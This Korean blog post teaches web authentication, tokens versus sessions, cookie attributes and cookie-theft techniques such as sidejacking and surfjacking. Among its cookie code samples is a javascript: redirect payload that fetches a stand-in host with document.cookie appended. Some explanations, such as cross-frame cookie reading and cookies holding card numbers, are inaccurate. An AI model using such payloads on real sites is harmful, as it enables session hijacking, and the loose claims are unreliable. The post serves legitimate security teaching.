[Security-03] Web Security Pt.2

유영석·2022년 9월 11일
1

Security

목록 보기
3/12
post-thumbnail

part 1 글에서 웹에 대한 전반적인 이해를 했으니, 이제 본격적으로 웹 상에서의 보안에 대해 알아보도록 합시다.

Authentication

Authentication은 우리에게 일반적으로 익숙한 아이디와 패스워드로 하는 로그인을 의미합니다. 더 정확하게는 사전적인 정보를 이용해서 누군가가 자신의 정체성을 인증하는 과정입니다. 이와 비슷한 개념으로, Authorization은 앞에서 설명한 Authentication으로 인증된 사용자가 특정한 리소스를 사용할 수 있도록 허용하는 과정을 의미합니다. 대표적으로 토큰, 쿠키 등이 있겠지요.

위 화면은 우리가 웹을 이용하면서 흔히 보게 되는 일반적인 로그인 화면입니다. 오늘날 대부분은 웹사이트들은 해당 사이트의 내용에 더 깊이 접근하기 위해 몇몇 인증 폼을 필요로 합니다. 사용자 이름과 패스워드를 입력하고 로그인을 누르면 이 정보가 서버로 전송됩니다. 물론, 패스워드의 양식 같은 것들은 어플리케이션 레벨에서 사전적으로 이루어지고요. 이 전송되는 패킷을 캡처하면 어떡하냐고요? 요즘은 다 TLS 보안 프로토콜이 되어있어 암호화를 통해 Confidentiality를 유지하죠.

Single Sign On(SSO)

요즘 로그인(인증)을 할 때 빼놓을 수 없는 개념이 또 SSO 입니다. Single Sign On(SSO)는 최초에 한 번만 인증하는 것을 의미합니다. 우리가 모든 사이트나 페이지를 방문할 때마다 인증 절차를 밟아야 한다면 얼마나 귀찮을까요? 이를 위해 웹의 어플리케이션 서버에서는 Session을 저장 및 관리하여 사용자가 한 번 인증을 하면 다른 어플리케이션어도 같은 세션이라면 다시 인증할 필요가 없게 합니다. 이는 날이 갈수록 중요성이 대두되고 있는 User Experience(UX)에도 좋은 영향을 미치죠. 위의 그림에서 Remeber me를 체크하는 것이 되겠죠?

전통적으로 사용되고 있는 SSO Authentication 방식은 Token(토큰)을 이용한 방식입니다. 서버는 사용자가 처음 인증을 하게 되면 토큰이라는 번호표를 응답으로 줍니다. 그러면 다시 방문했을 때, 사용자를 보고 알아보지 못해도 인증할 필요 없이 그 번호표를 내면 해석해 버리는 거지요. 설명드린 과정을 그림으로 표현하면 아래와 같습니다.

먼저, 유저는 로그인을 통해 서버에게 Credential(신용)을 제공합니다. 서버는 이 credential을 검증한 뒤 signed된 토큰을 리턴합니다. 여기서 signed란 남들이 변경하지 못하게 서버만 아는 것을 의미합니다. 이후에 또 서버에 request를 보내게 되면 HTTP 헤더에 항상 이 토큰에 대한 정보를 써서 보내는 겁니다. 그러면 서버는 이 토큰을 확인하고 필요한 데이터를 리턴하게 되는 것이지요. 이 토큰을 JSON web token이라 하여 줄여서 JWT라 합니다.

하지만 서버는 Stateless이기 때문에 토큰을 보면 이 사용자가 존재한다는 것만 검증할 뿐 그 사용자의 (상태)정보는 갖고 있지 않습니다. 그래서 클라이언트에서 이 토큰에 자신의 정보까지 포함시켜서 가지고 있어야 하지요. 이와 같은 문제 때문에 나온 것이 Session(세션)을 기반으로 Stateful한 Authentication 방식입니다. 인증 정보에 대한 기록들을 클라이언트 뿐 아니라 서버도 저장하고 있어야 하는 필요성이 대두되면서 등장한 방식이죠. 서버는 기본적으로 자신의 데이터 스토리지에 active한 세션 정보들을 보존 및 관리합니다. 이들은 각각 Session Idntifier(ID)로 관리되며 이는 Cookie에 명시되어 있습니다. 마찬가지로 설명드린 과정을 그림으로 표현하면 아래와 같습니다.

사용자가 로그인을 해서 Credential을 생성하면 서버는 이를 확인하고 새로운 세션을 만들어 데이터 베이스에 저장합니다. 그리고 클라이언트에 Session IDCookie를 리턴하죠. 이후에 요청이 들어와도 Cookie를 통해 서버는 데이터 베이스로 Session ID를 확인하여 응답을 줄 수 있는 것입니다.

그러면 마지막으로, SessionToken를 비교해 봅시다.

  • 둘 중 누가 더 Scalable 할까요?

Scalable 하다는 것은 확장성을 의미하는 것으로, 사용자 수에 관계 없이 똑같이 동작한다는 것입니다. 사용자가 1명에서 1000명이 되더라도 문제없이 돌아가야 한다는 것이죠. 이 관점에서 보면 Token이 더 나을 겁니다. 왜냐하면 모든 정보가 Token에 다 기입이 되어있기 때문에 서버는 복잡하게 데이터베이스를 건들 필요 없이 토큰만 파싱하면 되기 때문이죠.

  • 둘 중 누가 더 multiple devices에서 잘 돌아갈까요?

당연히 Session이겠죠? 세션의 가장 큰 장점이기도 합니다. 토큰은 상태 정보가 클라이언트에 저장되어 있기 때문에, 기기를 옮기는 순간 모든 정보가 새로 시작될 것입니다. 그러나 세션은 서버 딴에 상태 정보가 저장되어 있어 어떤 기기라도 인증 정보만 같다면 똑같은 응답을 받을 수 있는 것입니다. 대표적인 예로, 우리가 이커머스 사이트에서 쓰는 장바구니 기능이 있습니다. 내 계정에 쌓아올린 장바구니 어느 기기로 접속해도 똑같이 유지되는 것을 확인할 수 있을 겁니다.

  • 보안에는 어떤 것이 더 강할까요?

보안에 있어서는 고려해야 될 요소들도 많아서 섣불리 결정하긴 어렵지만, 일단은 비슷한 수준이라고 해두고 싶습니다...(사실 저도 정확히는 모릅니다.)😅

Cookie

위의 설명에서 쿠키에 대해 생각해보면 알 수 있을 겁니다. 굳이 아이디와 패스워드를 모르더라도 쿠키만 빼내면 우리는 그 사용자가 될 수 있습니다. 모든 사용자의 정보에 접근이 가능해지는 것이죠. 그래서 사실 웹 공격의 논점은

어떻게 쿠키를 빼올까?

라고 해도 과언이 아닙니다. 그렇기 때문에, 쿠키에 대해서 조금 더 알아보도록 합시다.

모두들 에버랜드 같은 놀이공원을 가보신 적이 있나요? 놀이공원에서 피치 못한 사정으로 잠시 공원을 나왔다가 재입장을 해야하는 상황을 마주할 수 있습니다. 이럴 때는 직원들이 일일히 나가는 이용개들을 기억하고 있을 수가 없습니다. 그래서 이미 에버랜드 표를 구입한 이용객이라는 것을 보증하기 위해 간단하게 손등에 도장을 찍어줍니다. 재입장을 할 때 직원들은 오직 이 손도장의 유무만으로 다시 출입을 가능하게 할지를 판단할 수 있는 것이죠. 여기서 이 손도장의 역할이 바로 쿠키의 역할입니다.

여러 번 말씀드렸다시피, 웹서버는 Stateless의 특징을 가집니다. 그래서 쿠키는 클라이언트에서 정보를 저장하기 위해 사용됩니다. 정확히는 브라우저가 로컬에서 이 쿠키를 저장해 모든 요청에 이를 붙여서 활용합니다. 쿠키는 다음과 같은 곳에 활용됩니다.

  • Tracking : 온라인 상점에서 쇼핑 카트에 상품을 추가하는 것처럼 상태 정보를 기억하는데 활용됩니다. 물론 쿠키이기 때문에 클라이언트 영역에서 기억하는 거지만요.
  • Preference : 클라이언트의 브라우저 활동들을 기록하는데 활용됩니다. 특정한 버튼을 클릭하고, 로그인을 하고, 과거에 어떤 페이지를 방문했는지 등을 기록하는 것입니다.
  • Authentication : 이름, 패스워드, 신용카드 번호처럼 이후에 사용될 수 있는 클라이언트의 정보를 기억하는데 활용됩니다.

서버에서 HTTP response를 보낼 때 헤더의 Set-Cookie 필드에 Name = Value 형식으로 기입됩니다. 브라우저는 이를 기억하고 있다가 이후에 HTTP request를 보낼 때 헤더의 cookie 필드에 이를 포함시켜야 합니다. 주의할 것은 선택이 아닌 필수라는 것이죠. 예시는 아래와 같습니다.

그렇다면 Javascript에서 이 쿠키를 어떻게 다룰 시 있는 지에 대해 알아볼까요? 먼저 쿠키를 세팅하는 코드는 다음과 같습니다.

document.cookie = "username=John Doe; expires= Thu, 18 Dec 2013 12:00:00 UTC; path=/";

쿠키를 읽어 출력하는 코드는 다음과 같습니다.

alert(document.cookie)

쿠키를 보내는 코드는 다음과 같습니다.

?redirect_uri=javascript:fetch("https://example.com/"+document.cookie)

쿠키를 지우는 코드는 다음과 같습니다. 특별한 점은 지우는 방식이 expireation data(만료일)을 현재보다 땡기는 방식이라는 점입니다.

document.cookie = "name=; expires= Thu, 01-Jan-70"

쿠키의 Attrbute(속성)으로 대표적으로 Path, expires, domain, secure, httpOnly 등이 있습니다. Path는 말 그대로 경로이고, domain 또한 말 그대로 어느 도메인에서 온 쿠키인지를 명시합니다. expires는 만료일로 방금 설명드렸다시피 로그아웃을 하면 이것을 조정하여 쿠키를 삭제할 수 있습니다. 반대로 로그인 창의 Remeber me와 같이 조금 더 계정을 오래 기억하고 싶다면 이 만료일을 연장할 수도 있는 것이죠. httpOnly가 세팅되어 있다면 Javacript에서는 document.cookie와 같은 코드로 쿠키를 읽지 못하게 됩니다. 보안을 위해 필수적이죠. 또한, secure = true가 설정되어 있다면 쿠키는 HTTP가 아닌 오직 HTTPS를 통해 보내질 수 있기 때문에 이 또한, 보안을 위해 필수적이라 할 수 있습니다. 하지만, 아직도 생각보다 많은 웹사이트들이 이를 놓쳐 보안에 약점을 보이고 있습니다.

Security of Cookies

그럻다면 이 쿠키는 읽는 것이 더 위험할까요, 쓰는 것이 더 위험할까요? 바로 느낌이 오시겠지만 읽는 것이 훨씬 보안적으로 위험합니다. 쿠키를 알게 되면 해당 사용자로 빙의할 수가 있기 때문이죠. 반면에 쿠키를 다른 값으로 써버리는 것은 사용자가 다시 쿠키를 받아야하는 번거로움 정도는 줄 수 있지만 보안적으로 심각한 상황이라 하기엔 부족합니다.

그렇다면 쿠키를 읽는 몇 가지 방법들을 알아보도록 합시다.

첫 번째 방법은 Sidejacking으로 같은 네트워크, 예를 들어 카페 안 같은 와이파이를 사용하는 사람들의 패킷 중 HTTP 평문으로 전송되는 쿠키를 캡쳐하는 방식입니다. 하지만 희생자가 무조건 공격자가 원하는 그 특정 사이트를 자발적으로 방문해야 하기 때문에 passive하고 올드한 방식이죠.

Hijacking

이에 반해, Hijacking은 공격자가 희생자의 특정 사이트 쿠키를 취할 수 있기 때문에 active한 방식입니다. 공격자와 희생자가 같은 네트워크 있어야 함은 동일합니다. 아래에서 과정을 볼까요?

희생자는 평소와 같이 https인 Gmail에 로그인을 하여 서버로부터 성공적으로 쿠키를 받아옵니다.

그 이후에 희생자가 http인 뉴스 사이트를 방문합니다. https가 무겁기 때문에 예전에는 뉴스 사이트 정도는 http를 돌리는 경우가 많았습니다. 허나, 이렇게 되면 공격자가 http 평문 트래픽을 낚아챌 수가 있지요! 그 다음에 공격자는 그 해당 html에 <img src=http://mail.google.com/mail>과 같은 코드를 삽입합니다. 이렇게 코드를 추가하는 공격을 Injection이라고 합니다.

그렇게 되면, 희생자는 해당 Gmail 주소를 다운로드 받는데, 이미 생성된 쿠키를 첨부해서 보내는 거지요! 그런데 공격자가 삽입한 이 주소는 http 입니다. 따라서 http 평문으로 날라가는 쿠키를 공격자는 쉽게 Sidejacking 하는 것입니다.😨

Surfjacking

오늘날, 많은 사이트는 모두 Cookie Sniffing 방지를 위해 HTTPS를 사용하고 있습니다. 오직 서버와 클라이언트(브라우저)만이 쿠키를 읽을 수 있지요. 지금까지 공부한 두 jacking은 이에 대응하지 못합니다. 그래서 HTTPS 세션에서 쿠키를 훔치기 위해 고안된 것이 Surfjacking입니다. 예시 과정은 아래와 같습니다.

먼저 희생자가 어느 은행 사이트에 접속해서 HTTPS로 보호되고 있는 쿠키를 돌려 받습니다.

그 이후에는 공격자는 희생자로 하여끔 자신의 웹사이트인 foo에 접속하도록 유도합니다. 희생자가 웹사이트에 접속하면 공격자는 301 Moved Permanently를 보냅니다. 이것은 헤더의 Location 필드에 새롭게 명시된 URI로 리다이렉트 됩니다. 그러면 사용자도 모르게 http://bank.com으로 리다이렉트 되서 http 평문으로 쿠키가 날아가게 되는 것입니다.

Cookie Stealing

Cookie Stealing은 먼저 공격자가 미끼를 던져 희생자가 자신의 사이트로 방문하게 끔합니다. 공격자의 사이트는 Gmail의 프레임을 사용하고 있기 떄문에 희생자는 이 사이트가 Gmail인 줄 알고 로그인을 합니다. 그리고 쿠키를 받아오면 공격자는 사이트의 Javascript에 다음과 같은 코드를 활용해서 Gmail 프레임의 쿠키를 알 수 있게 됩니다.

<iframe src="gmail.com/B"></iframe>
alert(frames[0].document.cookie);

이를 방지하기 위해서는 쿠키를 세팅한 원본 서버만이 쿠키를 읽을 수 있도록 해야할 것입니다. 위와 같이 Javascript를 통해서 쿠키를 만질 수 없게 해야되며, 지금은 대비가 다 된 방식이긴 합니다.🤗

profile
백엔드 개발자

0개의 댓글